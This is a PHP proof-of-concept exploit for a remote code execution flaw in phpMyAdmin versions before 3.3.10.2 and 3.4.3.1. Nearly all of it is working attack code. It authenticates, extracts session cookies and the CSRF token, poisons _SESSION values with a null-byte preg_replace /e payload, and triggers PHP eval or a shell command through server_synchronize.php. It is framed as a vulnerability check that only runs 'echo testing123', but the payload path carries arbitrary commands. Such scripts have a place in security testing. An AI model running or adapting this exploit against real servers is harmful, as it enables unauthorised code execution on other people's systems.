phpMyAdmin 3.x preg_replace RCE POC

                                                <?php echo php_sapi_name()!=='cli'?'<pre>':'';?>
              .
       ,      )\     .
  .  ,/)   , /  ) ,  )\
  )\(  /)/( (__( /( /  )          __      __              ________        __                    __
 /  \  (   )|  |)  \  /          |  |\  /|  |            |  |  |  |      |  |                  (__)
(  ______ / |  |_____(  ______   |  | \/ |  |  __    __  |  |__|  |   ___|  |  __ ___________   __   __ _____
 \|  | \  \ |  |  |  |)|  | \  \ |  |    |  | |  |  |  | |  |  |  | /  / |  | |  |  |  |  |  | |  | |  |  |  |
  |  |_/__/ |__|  |__| |  |_/__/ |__|    |__| |__|__|  | |__|  |__| \__\_|__| |__|  |__|  |__| |__| |__|  |__|
==|__|=================|__|=========================|__|======================================================    
 _   _  ___ __ ____ __ ___  ___       
| |-| || _ |\   /\   /| _ ||   )      
|_|-|_||_|_|/_._\/_._\|___||_|_\      
 ___  ___  ___ _  _  ___     ___ __ __  
(  < | [_ /  /| || ||   )(_)|   |\ | /
 >__)|_[_ \__\|____||_|_\|_| |_|  |_|
http://ha.xxor.se
phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1                               
Remote Code Execution POC Vulnerability Test            

Will only confirm if the instance is exploitable or not.			   
Use responsibly.

<?php echo php_sapi_name()!=='cli'?'</pre>':'';   

if(php_sapi_name()==='cli'){
	$args = getopt("h:u:p:s:");

	if(!(isset($args['h']) && isset($args['u']) && isset($args['p']))){
		?>
	
   Usage
   <?php echo $argv[0];?> -h URL -u USER -p PASS [-s] -c PHP-CODE
    -h    URL     -  http://example.com/phpMyAdmin-3.3.9.2
    -u    User    -  root
    -p    Pass    -  mypassword
   Optional
    -s    Set to test with a shell command instead of php code.

<?php
		killme();
	}
	$pmaurl = $args['h'];
	$user	= $args['u'];
	$pass   = $args['p'];
	$comm   = 'echo testing123;';
	$atck   = isset($args['s'])?'php':'shell';
	
}else{
	$pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';
	$user	= isset($_REQUEST['user'])?$_REQUEST['user']:'root';
	$pass   = isset($_REQUEST['pass'])?$_REQUEST['pass']:'';
	$comm   = 'echo testing123;';
	$atck   = isset($_REQUEST['atck'])?$_REQUEST['atck']:'shell';
}
$cookie = null;
$token  = null;

if(!function_exists('curl_init')){
	output('[!] Fatal error. Need cURL!');
	killme();
}
$ch     = curl_init();
$debug  = 0;
if(php_sapi_name()!=='cli'){
?>
<form method=post>
URL: <input name=url value="<?php echo htmlspecialchars($pmaurl);?>"> Example: http://localhost:8080/www/root/phpMyAdmin-3.3.9.2<br/>
User:<input name=user value="<?php echo htmlspecialchars($user);?>"> <br />
Pass:<input name=pass value="<?php echo htmlspecialchars($pass);?>"> <br />
<input type="radio" name="atck" <?php if($atck==='php')echo 'CHECKED';?> value="php" /> eval php-code<br />
<input type="radio" name="atck" <?php if($atck!=='php')echo 'CHECKED';?> value="shell" /> shell command<br />
Command:<input name=comm value="<?php echo htmlspecialchars($comm);?>"> <br />
<input name=submit type=submit value=♥>
</form>
<pre>
<?php
if(!isset($_REQUEST['submit']))killme(true);
}

output("[i] Running...");

/*========================================================================================================
========================================================================================================*/

// Login
curl_setopt_array($ch, array(
	CURLOPT_POST => 1,
	CURLOPT_URL => $pmaurl.'/index.php',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_POSTFIELDS => 'pma_username='.urlencode($user).'&pma_password='.urlencode($pass)
));

output("[*] Contacting server to authenticate.");
$result = getCurlResult($ch);

// Extract cookies
preg_match('/pma_mcrypt_iv=[^;]+; /', $result, $matches); // Fixa regexp
$cookie = $matches[0];
preg_match('/phpMyAdmin=[^;]+; /', $result, $matches); // Fixa regexp
$cookie .= $matches[0];
preg_match('/pmaUser-[^;]+; /', $result, $matches); // Fixa regexp
$cookie .= $matches[0];
preg_match('/pmaPass-([^;]+)/', $result, $matches); // Fixa regexp
$cookie .= $matches[0];
output("[i] Cookie:".$cookie);
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
output("[i] Token:".$token);

curl_setopt_array($ch, array(
	CURLOPT_POSTFIELDS => 'token='.$token,
	CURLOPT_COOKIE => $cookie
));

$trg_db = $atck==='php' ? '\`.eval($_POST["comm"]);//'."\x00" : "$comm && echo \`;//"."\x00";
//output($trg_db);
/*========================================================================================================
========================================================================================================*/

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?session_to_unset=0'.
									  '&_SESSION[trg_db]='.urlencode($trg_db).
                                      '&_SESSION[src_uncommon_tables][0]=||/e%00'.
									  '&_SESSION[uncommon_tables][0]=1'
);
output('[*] Contacting server to poison some _SESSION variables.');
$result = getCurlResult($ch);

/*========================================================================================================
========================================================================================================*/

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/server_synchronize.php?synchronize_db=1');
if($atck==='php'){
	curl_setopt($ch, CURLOPT_POSTFIELDS, 'token='.$token.'&comm='.urlencode($comm));
}

output("[*] Contacting server to execute command.");
$result = getCurlResult($ch);

if(stristr($result, 'class="loginform"')){
	output('[!] Authentication error. Wrong password maby.');
	killme();
}

$catch_output = $atck==='php' ? '/0px"> (.*)<p>/s' : '/<p>(.*)<\/p>/s';
preg_match($catch_output, $result, $matches);

if(preg_match('/testing123/', $matches[1])){
	output("[!] Code execution successfull. This instance of phpMyAdmin is vulnerable!");
}else{
	output("[!] Code execution failed. This instance of phpMyAdmin does not apear to be vulnerable.");
}

//output("[*] Command output:\n".$matches[1]);

/*========================================================================================================
========================================================================================================*/







function getCurlResult($ch){
	global $debug;
	$result = curl_exec($ch);
	if($debug)echo htmlspecialchars($result,ENT_QUOTES);
	if(200 != curl_getinfo($ch, CURLINFO_HTTP_CODE) &&
	   301 != curl_getinfo($ch, CURLINFO_HTTP_CODE) &&
	   302 != curl_getinfo($ch, CURLINFO_HTTP_CODE)){
		output("[!] Fail. request returned ".curl_getinfo($ch, CURLINFO_HTTP_CODE).". The host is not vulnerable or there is a problem with the supplied url.");
		killme();
	}
	if(!$result){
		output("[!] cURL error:".curl_error($ch));
		killme();
	}
	return $result;
}

function output($msg){
	echo php_sapi_name()!=='cli'?htmlspecialchars("$msg\n",ENT_QUOTES):"$msg\n";
	flush();
}

function killme($b=false){
	if(!$b)output("[*] Exiting...");
	echo php_sapi_name()!=='cli'?'<pre>':'';
	die();
}

echo php_sapi_name()!=='cli'?'<pre>':'';?>